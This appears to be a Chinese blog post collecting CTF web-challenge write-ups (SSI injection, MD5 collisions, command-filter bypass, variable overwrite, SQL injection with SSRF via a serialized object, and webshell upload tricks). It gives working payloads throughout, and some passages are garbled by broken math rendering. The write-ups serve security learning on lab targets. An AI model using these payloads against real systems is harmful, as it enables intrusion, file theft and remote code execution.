news 2026/1/15 6:10:41

buffctf_wp1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buffctf_wp1

[BJDCTF2020]EasySearch

在首界面审查源代码、抓包未获取到有效信息,就开始进行目录扫描,获取到index.php.swp文件

<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>

分析源代码发现password进行md5加密后前六位需要与’6d0bc1’相同,那就只能采取脚本或从自身收藏的md5值中搜索来获取目的字符

脚本

from hashlib import md5 for i in range(10000000): if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1': print(i)

抓包看响应包头文件,或者直接看网络,发现一个url。

看到shtml想到Apache SSI 远程命令执行漏洞

shtml是一种用于SSI技术的文件——Server Side Include–SSI。

SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。

然后利用shtml的命令执行,可控参数是username

payload

username=<!--#exec cmd="ls ../"-->&password=9162671

注意这里需要重新登录,每次的shtml的名称都不一样

flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public

payload

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671

[安洵杯 2019]easy_web

看到payload:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

发现为base64加密,两次解密为 3535352e706e67

hex解密 555.png

现在已经知道img处的值为base64加密两次,然后hex解密一次。

反向推出index.php的payload:?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

元素中找到加密php代码(这里因该能想到的,图片)

解码

<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

过滤了ls,使用dir

我们发现禁用了tac nl more less head tail cat od 等一些可以读取文件内容的关键字,注意看后面的||\|,我们都知道在php中正则过滤反斜杠要写四个\字符,因为会经过两次解析,一次php解析器的解析,另一次是正则表达式的解析。\,先经过php的解析成\,再经过正则表达式的解析成\,但是前面又多了一个\,经过php的解析成\,|这个字符在正则中是保留字符,所以可以转义,再经过正则的解析时\会与后面的|一起解析成|,问题就出现在这一块,整个来看,先经过php的解析成|||,再经过正则的解析成|||,所以最后匹配的是|\而不是\,所以我们可以用反斜杠绕过

这里的MD5得使用强绕过,不能使用数组绕过,因为这里使用了String强转换,数组都被强制转换为了string(5) “Array”

这里的payload

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

payload:cmd=l\s%20/ / cmd=ca\t%20/f\l\a\g

这里我卡一个晚上,差点因为环境问题崩溃了

[BJDCTF2020]Mark loves cat

打开网站看到的是一个个人博客,这种常规的 类似实战题目 先扫描目录看看

看到了一个 .git 泄露和robots(打开并没有什么用)

githack看能不能扒下源码

flag.php 是存在的 ,不过不能确定 /flag 在哪里

index

<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;

我们要想绕过 需要

  • get中参数必须含有 $ x 同时 $ x不能含有flag
  • 存在get参数 或者 存在post参数
  • post参数恒等于 flag 或者 get参数恒等于 flag
    当我们到达最后的时候fal也被重置了

避免429 Too Many Requests

python39 .\dirsearch.py -e * -u https://eci-2ze459sqcn2mynux7108.cloudeci1.ichunqiu.com:80/ -t 1 --timeout=2 -x 400,403,404,500,503,429

可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个 $ 符号

$ a = ‘b’;
$b = ‘bb’;
echoKaTeX parse error: Can't use function '$' in math mode at position 23: … 输出 bb 1.找到 $̲a,解析结果:b 2.找…x就相当于是( ((x)

法一

我们可以利用 foreach 进行变量重覆盖

在这一关可以执行输出内容地方有两个函数 exit 和 echo

第二个 exit——覆盖 yds
我们的思路就是让flag变量覆盖到yds上,在执行exit($yds);
的时候输出flag

payload

?yds=flag

我们进行get传参的时候,会执行

foreach($ _GET as $x => $y){

x = x =x=y; //GET型变量重新赋值为当前文件变量中以其值>为键名的值
}
他输出y d s 。我们只需让 yds。我们只需让yds。我们只需让yds=f l a g 就好了由于我们输入的变量是 y d s = f l a g 所以 flag就好了 由于我们输入的变量是yds=flag 所以flag就好了由于我们输入的变量是yds=flag所以x=yds $y=flag

x = x =x=y 所以y d s = yds=yds=flag
flag变量就是 我们要的东西
exit( $yds)。就是echo $flag。
法二

覆盖 is
·payload·

?is=flag&flag=flag
前半段和前面的方法原理相同,让flag覆盖is
后面的flag=flag—>$ flag=f l a g 目的是为了符合第一个 i f 需求:( flag 目的是为了符合第一个if需求:(flag目的是为了符合第一个if需求:(_POST[‘flag’] === ‘flag’ || $_GET[‘flag’] === ‘flag’)
进而输出 flag
法三

覆盖handsome

构造payload:

?handsome=flag&flag=x&x=flag
handsome=flag不用说 就是让$ handsome= $flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome

[WUSTCTF2020]朴实无华

环境,什么信息都拿不到,需要我们进行目录扫描了

打开robots文件

bp抓包看看有什么东西漏了

拿到源码 不过是乱码,我们改变编码方式

<img src="/img.jpg"> <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); }

代码审计
要进行三次绕过

intval() 函数用于获取变量的整数值。(强制转换)

第一个,要让 num<2020 num+1>2021
这里要用到 intval
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型(只适用php7.0以下的版本)
所以我们可以构造:2e5
第二个,要求 本身和其MD5值相同
md5=0e215962017
第三个,我们进行绕过

?mun=2e5&md5=0e215962017&get_flag=ls
str_ireplace(find,replace,string,count)
str_ireplace() 函数替换字符串中的一些字符

参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
str_ireplace(“cat”, “wctf2020”, $ get_flag);
这里的cat被过滤掉了
strstr( $ get_flag," "):用于判断字符串空格是否是$ get_flag的子串(过滤空格)
payload:

/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls

num=2e4&md5=0e215962017&get_flag=tac$ IFS $9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[CISCN2019 华北赛区 Day2 Web1]Hack World

搜索框输入1或2会返回结果,其他都返回bool(false)。过滤了union、and、or、空格等,包括/**/,后来看源码知道是过滤了*
有意思的是输入1/1时会正常返回结果,可以判断这是数字型的sql注入

Fuzz测试过滤了哪些字符,使用中括号()代替空格
常规盲注测试,都无需查库查表查字段了,都给出来,直接查flag内容

[网鼎杯 2018]Fakebook

发现了flag.php,然后我们显示访问robots.txt,然后发现有一个user.php.bak的备份文件,我们直接访问,然后下载下来

<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,

然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容

还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网,

如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。

我们先回到首页,点join注册一个账号

点进入,发现no这个地方可以注入,于是拿去sqlmap上跑一手,发现没有跑出来。

于是尝试手工注入:

?no = 1 and 1=1 //回显正常

?no = 1 and 1=2 //错误回显

铁定数字型注入,于是我们看看表中有多少列,确定一下列数,

?no = 1 order by 3 //正常

?no = 1 order by 4 //正常

?no = 1 order by 5 //错误

所以确定列数,有4列

于是我们尝试union联合注入:

?no = -1 union select 1,2,3,4–+

可以用过union/**/select绕过

于是我们再次构造payload:

?no = -1//union//select 1,2,3,4–+

回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。

然后我们开始查数据库和数据库信息

?no=-1//union//select 1,database(),3,4–+ //数据库名

?no=-1//union//select 1,user(),3,4–+ //数据库信息

那load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件,查看源码

?no=-1//union//select 1,load_file(“/var/www/html/flag.php”),3,4–+

接着爆数据库表:

?no=-1//union//select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–+

然后爆字段名:

?no=-1//union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’–+

这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容:

no=-1//union//select 1,group_concat(data),3,4 from users

是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。

在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动

O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}

然后构造payload:

?no=-1//union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’

然后我们查看源码,发现读出来的数据,base64解密获得flag

[ACTF2020 新生赛]Upload

随便上传一张图片,如下可得图片上传保存的地址,试着上传php一句话马文件,出现只能上传图片

Burp抓包发现,对文件格式只在前台验证好办多了,思路:先上传一张一句话马图片,抓包将图片尾缀改为php文件,发现原来不仅在前台校验,后台也做了校验。

可以创建一个test.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中。

删除前台点击校验文件事件,上传含一句话木马的.phtml文件。发现成功上传。

在抓包数据里面进行修改文件后缀将flag.jpg修改为flag.phtml 记住原文件不要动只在数据包里面修改,不然的话是绕不过的

[极客大挑战 2019]Upload

这题比上一题多了一个文件头校验少了前端校验

上传成功之后,没有给我们具体的存储位置,我们猜测应该是存在/upload的路径之下

[GXYCTF2019]BabyUpload

.htaccess配置文件特性

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess配置文件格式

<FileMatch "xxx.jpg> SetHandler application/x-httpd-php

创建.htaccess配置文件

SetHandler application/x-httpd-php

Kali创建txt文件输入上面的配置命令,并将其命名为111.jpg文件

这里猜测.htaccess文件被过滤 所以不能直接上传.htaccess配置文件 先截断数据包再把上传的111.jpg文件更名为.htaccess文件

上传成功 现在我们的jpg一句话木马文件就可以当作PHP代码来执行了

上传成功 访问上传路径链接,并未呈现图片格式 访问成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/13 16:56:03

Kotlin 协程 Flow 取消的 N 种方法

前言&#xff1a;为什么 Flow 取消很重要 今天&#xff0c;我们来深入探讨 Kotlin Flow 中的一个重要操作&#xff1a;流的取消。日常开发中我们需要保持一个 Flow 的长时间运行&#xff0c;确保 Flow 的及时取消&#xff0c;有非常重要的意义&#xff1a;&#xff1a; 资源管…

作者头像 李华
网站建设 2026/1/12 15:13:02

38、监控管理用户与SSA磁盘识别

监控管理用户与SSA磁盘识别 监控管理用户的脚本 在系统管理中,我们经常需要对用户操作进行审计。下面介绍的脚本可以通过简单修改用户名和脚本名,快速设置一个类似 broot 类型的shell脚本。 脚本中使用了大量变量,将被监控用户称为有效用户,使用变量 $EFF_USER 表示…

作者头像 李华
网站建设 2026/1/11 19:12:34

42、深入探索Shell脚本中的浮点数学运算

深入探索Shell脚本中的浮点数学运算 在Shell脚本编程中,进行浮点数学运算并确保数据的有效性是常见的需求。本文将详细介绍如何在Shell脚本中实现浮点加法和减法运算,同时会对输入数据进行验证,确保其为有效的整数或浮点数。 1. 脚本初始化与变量定义 首先,我们从定义一…

作者头像 李华
网站建设 2026/1/11 3:26:33

LobeChat是否支持中文大模型?实测通义千问、百川、ChatGLM接入效果

LobeChat是否支持中文大模型&#xff1f;实测通义千问、百川、ChatGLM接入效果 在智能对话系统快速演进的今天&#xff0c;一个现实问题摆在许多国内开发者面前&#xff1a;如何为国产大模型配一个“好用”的前端&#xff1f;不少团队自己训练或部署了中文大模型&#xff0c;比…

作者头像 李华
网站建设 2025/12/27 7:14:46

EmotiVoice支持动态情感切换,对话更生动

EmotiVoice&#xff1a;让机器语音真正“动情”的开源引擎 在智能音箱里听到一成不变的语调&#xff0c;在游戏NPC口中听见毫无波澜的警告&#xff0c;或者在有声书中忍受连续几小时同一种情绪朗读——这些体验背后的共性是&#xff1a;语音“能说”&#xff0c;却不会“动情”…

作者头像 李华